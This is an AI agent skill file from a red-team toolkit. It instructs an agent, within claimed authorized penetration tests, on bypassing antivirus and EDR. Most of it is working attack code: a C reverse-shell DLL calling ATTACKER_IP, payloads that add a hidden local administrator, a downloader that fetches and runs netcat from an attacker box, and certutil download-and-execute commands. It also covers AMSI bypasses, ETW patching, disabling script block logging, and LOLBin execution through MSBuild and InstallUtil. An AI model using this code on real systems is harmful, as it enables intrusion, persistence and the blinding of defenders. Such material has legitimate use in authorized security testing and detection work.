Bypass antivirus and EDR detection for payload delivery during exploitation. Covers custom payload compilation (mingw C, Go), AMSI bypass, shellcode alternatives, and ETW patching. Route here when an agent reports a payload was quarantined, blocked, or detected by endpoint protection.
Install
npx skillscat add blacklanternsecurity/red-run/av-edr-evasion Install via the SkillsCat registry.
AV/EDR Evasion
You are helping a penetration tester bypass AV/EDR that is blocking payload
execution during an authorized engagement. All testing is under explicit
written authorization.
Engagement Logging
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
- Print
[av-edr-evasion] Activated → <target>to the screen on activation. - Evidence → save compiled payloads and artifacts to
engagement/evidence/evasion/with descriptive filenames (e.g.,custom-dll-winexec-x64.dll,amsi-bypass.ps1).
Create the evasion evidence directory if it doesn't exist:
mkdir -p engagement/evidence/evasionDo NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.
Scope Boundary
This skill covers payload generation and runtime evasion only. It does NOT
cover:
- The exploit technique itself (that's the calling skill's job)
- C2 framework setup or long-term implant development
- Full EDR agent removal or tampering
- Persistence mechanisms
When you have built and optionally verified the bypass payload — STOP.
Return to the orchestrator with the artifact path, bypass method, and runtime
prerequisites. The orchestrator will re-invoke the original technique skill
with your payload.
Stay in methodology. Only use techniques documented in this skill. If you
encounter a scenario not covered here, note it and return — do not improvise
novel evasion techniques or write complex custom tooling beyond what's
documented below.
State Management
Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:
- Understand what was blocked and on which target
- Check existing access methods for payload delivery
- Identify the target OS version and architecture
Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes.
Exploit and Tool Transfer
Never download exploits, scripts, or tools directly to the target from the
internet. Targets may lack outbound access, and operators must review files
before execution on target.
Attackbox-first workflow:
- Compile on attackbox — all payloads are built locally
- Review — operator can inspect the C/Go source in this skill
- Serve —
python3 -m http.server 8080from the directory containing the file - Pull from target —
wget http://ATTACKBOX:8080/file -O C:\Windows\Temp\file
orcurl,certutil, evil-winrmupload, SMB transfer
Prerequisites
Context from the orchestrator (provided in Task prompt):
- What was blocked: payload type (DLL, EXE, script, webshell)
- How detected: signature, behavioral, AMSI, heuristic
- AV product: Windows Defender, CrowdStrike, SentinelOne, etc. (if known)
- Payload requirements: what the exploit needs (e.g., "x64 DLL with
DllMain entry point", "EXE that adds admin user") - Target OS: version and architecture
- Current access: user, method, shell session reference
Attackbox tools:
x86_64-w64-mingw32-gcc/i686-w64-mingw32-gcc— mingw cross-compiler
(apt install mingw-w64)python3— for struct packing alternativesgo(optional) — for Go cross-compilation
Tool output directory
Compile payloads to $TMPDIR then move to evidence:
# Compile
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/payload.dll payload.c
# Save evidence
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dllStep 1: Assess the Detection
If not already provided by the orchestrator, determine:
- What payload type was blocked? — DLL, EXE, script (PS1/BAT), webshell (JSP/ASPX/PHP)
- How was it detected? — signature (file on disk caught), behavioral (process killed at runtime), AMSI (PowerShell/script blocked), heuristic (unknown detection)
- What AV/EDR product? — Windows Defender, CrowdStrike Falcon, SentinelOne, Symantec, Carbon Black, etc.
- What does the exploit need? — DLL with DllMain, EXE that runs a command, service binary, webshell file
Skip if context was already provided.
Detection Type → Bypass Route
| Detection | Indicators | Go to |
|---|---|---|
| Signature (most common) | msfvenom payload, known tool binary, file quarantined on write | Step 2: Custom Payload Compilation |
| AMSI | PowerShell command blocked, "This script contains malicious content" | Step 3: AMSI Bypass |
| Behavioral | Process starts then dies within 1-2 seconds, no file quarantine | Step 4: Alternative Execution Methods |
| Heuristic/ML | Unknown detection, no clear signature match | Step 2 first, then Step 4 if still caught |
| ETW/Logging | Need to reduce telemetry before executing payload | Step 5: ETW Patching |
Step 2: Custom Payload Compilation
When signature detection catches msfvenom or known tool binaries, compile
custom payloads from C source. These work because they call legitimate Win32
APIs directly — no encoded shellcode buffer, no decoder stub, no msfvenom
signature patterns.
DLL Payloads
For service abuse, DnsAdmins, DLL hijacking, or any technique needing a DLL.
Variant A: Mingw C — Command Execution via WinExec
Simplest and most reliable. Executes a single command when DllMain is called.
// payload.c — Custom DLL with command execution
// Compile: x86_64-w64-mingw32-gcc -shared -o payload.dll payload.c
// For 32-bit: i686-w64-mingw32-gcc -shared -o payload.dll payload.c
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
// Replace with actual command — e.g., add admin user, reverse shell
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
}
return TRUE;
}Common command payloads:
Add local admin:
cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /addPowerShell reverse shell (if AMSI is not blocking):
powershell.exe -nop -w hidden -e <BASE64_ENCODED_REVSHELL>Certutil download + execute:
cmd.exe /c certutil -urlcache -split -f http://ATTACKBOX:8080/nc.exe C:\\Windows\\Temp\\nc.exe && C:\\Windows\\Temp\\nc.exe -e cmd.exe ATTACKBOX PORTVariant B: Mingw C — Winsock Reverse Shell (Non-Blocking)
For DLL injection scenarios where DllMain must return quickly (the calling
process hangs if DllMain blocks). Spawns reverse shell in a new thread.
// revshell.c — Non-blocking reverse shell DLL
// Compile: x86_64-w64-mingw32-gcc -shared -o revshell.dll revshell.c -lws2_32
#include <windows.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32")
// Change these to match your listener
#define ATTACKER_IP "10.10.14.1"
#define ATTACKER_PORT 4444
DWORD WINAPI ReverseShell(LPVOID lpParam) {
WSADATA wsa;
SOCKET sock;
struct sockaddr_in addr;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
WSAStartup(MAKEWORD(2, 2), &wsa);
sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
addr.sin_family = AF_INET;
addr.sin_port = htons(ATTACKER_PORT);
addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR) {
closesocket(sock);
WSACleanup();
return 1;
}
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
closesocket(sock);
WSACleanup();
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, ReverseShell, NULL, 0, NULL);
}
return TRUE;
}Compilation:
# x64
x86_64-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# x86
i686-w64-mingw32-gcc -shared -o $TMPDIR/revshell.dll revshell.c -lws2_32
# Move to evidence
mv $TMPDIR/revshell.dll engagement/evidence/evasion/revshell.dllVariant C: Go Cross-Compile DLL
Alternative toolchain when mingw payloads are still caught or when Go is
preferred. Go binaries have different signatures than C/mingw.
// payload.go — Go DLL with command execution
// Build: CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
// go build -buildmode=c-shared -ldflags="-s -w" -o payload.dll payload.go
package main
import "C"
import (
"os/exec"
)
//export DllMain
func DllMain() {
cmd := exec.Command("cmd.exe", "/c", "net user hacker Password123! /add && net localgroup administrators hacker /add")
cmd.Run()
}
func main() {}Build:
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 \
go build -buildmode=c-shared -ldflags="-s -w" -o $TMPDIR/payload.dll payload.go
mv $TMPDIR/payload.dll engagement/evidence/evasion/payload.dllEXE Payloads
For service binpath abuse, direct execution, scheduled tasks.
Variant A: Simple Command Execution
// payload_exe.c — Custom EXE with command execution
// Compile: x86_64-w64-mingw32-gcc -o payload.exe payload_exe.c
#include <windows.h>
int main() {
WinExec("cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add", 0);
return 0;
}Variant B: Staged Downloader
Downloads and executes a second-stage payload. Useful when you need a larger
tool on target but don't want to compile it into the binary.
// downloader.c — Downloads a file from attackbox and executes it
// Compile: x86_64-w64-mingw32-gcc -o downloader.exe downloader.c -lurlmon
#include <windows.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon")
int main() {
// Download second stage from attackbox
URLDownloadToFileA(NULL,
"http://ATTACKBOX:8080/nc.exe",
"C:\\Windows\\Temp\\svc.exe",
0, NULL);
// Execute
WinExec("C:\\Windows\\Temp\\svc.exe -e cmd.exe ATTACKBOX PORT", 0);
return 0;
}Why Custom C Works
msfvenom payloads are caught because AV vendors signature their decoder stubs,
shellcode patterns, and PE structure. Custom C payloads:
- Call
WinExec()/CreateProcess()directly — legitimate Win32 API calls - No encoded shellcode buffer in the
.textsection - No NOP sled, no decoder stub, no
VirtualAlloc+memcpyshellcode loader - Different PE structure, import table, and section layout than msfvenom output
- Each compilation produces a unique binary hash
This is not obfuscation — it's just writing normal C code that does what you
need instead of using a tool whose output is universally signatured.
Step 3: AMSI Bypass
When PowerShell or .NET-based tools are blocked by the Antimalware Scan
Interface. AMSI intercepts script content before execution and sends it to the
AV engine for scanning.
Variant A: Reflection — amsiInitFailed
Forces AMSI to think initialization failed, so it skips all scanning.
# Reflection-based AMSI bypass (one-liner)
# Sets the amsiInitFailed field to True via reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)If the above is caught (the string "AmsiUtils" itself is flagged), use
concatenation to break the signature:
# Obfuscated variant — breaks known string signatures
$a = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils')
$b = $a.GetField('am'+'siIn'+'itFailed','NonPublic,Static')
$b.SetValue($null,$true)Variant B: Memory Patching — AmsiScanBuffer
Patches the AmsiScanBuffer function in memory to always return clean.
# AmsiScanBuffer memory patch
# Overwrites the function's first bytes to return AMSI_RESULT_CLEAN
$w = 'System.Management.Automation.Am' + 'siUtils'
$t = [Ref].Assembly.GetType($w)
$m = $t.GetField('amsiContext','NonPublic,Static')
$ptr = $m.GetValue($null)
# Load amsi.dll and find AmsiScanBuffer
$amsi = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.Location -like '*amsi*' } |
Select-Object -First 1
)Variant C: PowerShell Downgrade
Force PowerShell v2 which doesn't have AMSI (requires .NET 2.0 installed):
powershell.exe -version 2 -command "<your command>"Note: PowerShell v2 is often removed on modern systems. Check with:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Verification
After applying any AMSI bypass, verify it works:
# This string normally triggers AMSI — if bypass worked, it returns without error
"amsiutils"
# Or try loading a tool that was previously blocked
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKBOX:8080/tool.ps1')Step 4: Alternative Execution Methods
When behavioral detection blocks the execution pattern — the payload file
survives on disk but gets killed at runtime, or the execution method itself
is monitored.
LOLBin Execution
Use legitimate Windows binaries to execute payloads (Living Off the Land):
MSBuild inline task (executes C# without dropping a standalone EXE):
<!-- payload.csproj — save to target, execute with: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.csproj -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<ClassExample />
</Target>
<UsingTask TaskName="ClassExample" TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
using System.Diagnostics;
public class ClassExample : Task, ITask {
public override bool Execute() {
Process.Start("cmd.exe", "/c YOUR_COMMAND_HERE");
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>InstallUtil (executes .NET assembly via uninstall handler):
# Compile a .NET assembly with an [RunInstaller] class, then:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.dllRundll32 (execute exported function from custom DLL):
# If your DLL exports a function named "Run":
rundll32.exe payload.dll,RunCertutil for Delivery
When direct HTTP download is blocked but certutil is available:
# Download via certutil (base64 encode first on attackbox)
certutil -urlcache -split -f http://ATTACKBOX:8080/payload.exe C:\Windows\Temp\payload.exe
# Or decode from base64 if HTTP is blocked:
# On attackbox: base64 payload.exe > payload.b64
# Transfer payload.b64 to target, then:
certutil -decode payload.b64 C:\Windows\Temp\payload.exePowerShell Constrained Language Mode Bypass
If CLM blocks PowerShell execution:
# Check if CLM is active
$ExecutionContext.SessionState.LanguageMode
# If "ConstrainedLanguage", try:
# Option 1: Use cmd.exe instead of PowerShell
cmd.exe /c "command here"
# Option 2: Use MSBuild inline task (above) — not subject to CLM
# Option 3: Use PowerShell v2 (if available) — no CLM enforcement
powershell.exe -version 2Step 5: ETW Patching
When you need to reduce telemetry before executing a payload. ETW (Event
Tracing for Windows) feeds data to EDR agents and Windows logging.
Patch EtwEventWrite to prevent ETW events from being generated:
# ETW bypass — patch EtwEventWrite to return immediately
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
[System.AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1] -eq 'System.dll' }
)
# Note: Full implementation depends on architecture and .NET version
# The concept: overwrite EtwEventWrite's first bytes with "ret" (0xC3).NET ETW bypass (prevents .NET runtime from generating ETW events):
# Disable .NET ETW tracing
[Reflection.Assembly]::LoadWithPartialName('System.Core')
$etwType = [System.Diagnostics.Tracing.EventSource]
# Patch internal tracing flagScript block logging evasion (prevents PowerShell commands from being
logged to event log 4104):
# Disable script block logging for this session
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$settings['ScriptBlockLogging'] = @{}
$settings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$settings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0Step 6: Verify Bypass
Before returning the payload to the orchestrator, verify it survives on target
if possible (requires existing access to the target).
File Survival Test
- Transfer the payload to target via existing access method
- Wait 30 seconds (give real-time scanning time to process)
- Check if the file still exists:
dir C:\Windows\Temp\payload.dll - If the file is gone → AV quarantined it → try a different variant (Go
instead of C, different API call, different execution method)
AMSI Verification
If AMSI bypass was applied:
# This string is a known AMSI test trigger
"AmsiUtils"
# If no error → bypass is working
# Then test the actual tool/script that was blockedDon't Execute the Exploit
Verify only that the artifact survives on disk. Do NOT execute the exploit
or the payload's intended function. The original technique skill handles
exploitation. Your job is to deliver a payload that won't be caught.
Escalate or Pivot
After building and optionally verifying the bypass, STOP and return to
the orchestrator with:
Return format:
## Evasion Results: <target> (<original-technique>)
### Detection Assessment
- Blocked payload: <what was caught>
- AV/EDR: <product>
- Detection type: <signature/behavioral/AMSI/heuristic>
### Bypass Built
- Artifact: engagement/evidence/evasion/<filename>
- Method: <e.g., "mingw C DLL with WinExec, no shellcode">
- Architecture: <x64/x86>
- Verified on target: <yes/no>
### Runtime Prerequisites
- <e.g., "Run AMSI bypass first", "None", "Transfer nc.exe for reverse shell">
### Evidence
- engagement/evidence/evasion/<filename>The orchestrator will re-invoke the original technique skill with your payload
and instructions.
Stall Detection
If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.
What counts as progress:
- Trying a variant or alternative documented in this skill
- Adjusting compilation flags or payload command per the Troubleshooting section
- Gaining new diagnostic information (different error, partial success)
What does NOT count as progress:
- Writing novel evasion frameworks not documented here
- Attempting to reverse-engineer the AV engine's detection logic
- Retrying the same compilation with trivially different source code
- Downloading and running third-party evasion tools not mentioned here
If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.
Do not loop. Work through failures systematically:
- Try each variant or alternative once
- Check the Troubleshooting section for known fixes
- If nothing works after 5 rounds, you are stalled
When stalled, return to the orchestrator immediately with:
- What was attempted (variants, compilation methods, bypass techniques tried)
- What failed and why (still caught, wrong arch, missing tool)
- Assessment: blocked (AV too aggressive, EDR behavioral monitoring) or
retry-later (may work with different payload type or execution method)
When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.
Troubleshooting
mingw-w64 not installed
sudo apt install mingw-w64Verify: x86_64-w64-mingw32-gcc --version
Wrong architecture — x86 vs x64
Check target architecture. 64-bit Windows can run 32-bit EXEs but DLLs must
match the loading process architecture. Use systeminfo output from the
target:
- "x64-based PC" →
x86_64-w64-mingw32-gcc - "x86-based PC" →
i686-w64-mingw32-gcc
For DLLs loaded by a specific process, check the process architecture withtasklist /von target.
Custom DLL still caught
Some aggressive AV heuristics flag DLLs with WinExec or CreateProcess in
the import table. Options:
- Try Go cross-compilation (Variant C) — different binary structure
- Use
system()instead ofWinExec()— different import - Use indirect API resolution via
GetProcAddress:typedef UINT (WINAPI *pWinExec)(LPCSTR, UINT); pWinExec fWinExec = (pWinExec)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WinExec"); fWinExec("cmd.exe /c command", 0);
AMSI bypass patched / doesn't work
Microsoft patches AMSI bypass techniques periodically. If one variant fails:
- Try the next variant (A → B → C)
- Obfuscate string constants further (split into more pieces)
- Fall back to non-PowerShell execution (MSBuild, cmd.exe, certutil)
- If all AMSI bypasses fail and PowerShell is required, report blocked
Constrained Language Mode blocks everything
CLM prevents most .NET reflection and type access. Options:
- Use cmd.exe / native binaries instead of PowerShell
- MSBuild inline task (not subject to CLM)
- Custom C# assembly executed via InstallUtil
- If CLM + AppLocker both active, this is a hardened environment — report
the constraints and return
Payload runs but no callback (reverse shell)
- Check firewall — target may block outbound connections on your port
- Try common allowed ports: 80, 443, 53
- Verify listener is running:
list_sessions()via shell-server MCP - Test connectivity:
ping ATTACKBOXfrom target (if ICMP allowed) - If no outbound at all, fall back to command execution (add user, modify
service) instead of reverse shell
AppLocker blocking execution
- Check AppLocker rules:
Get-AppLockerPolicy -Effective -Xml - Try execution from allowed paths:
C:\Windows\Temp\, user profile dirs - Use LOLBins (MSBuild, InstallUtil) which are often whitelisted
- DLL execution via rundll32 may bypass EXE restrictions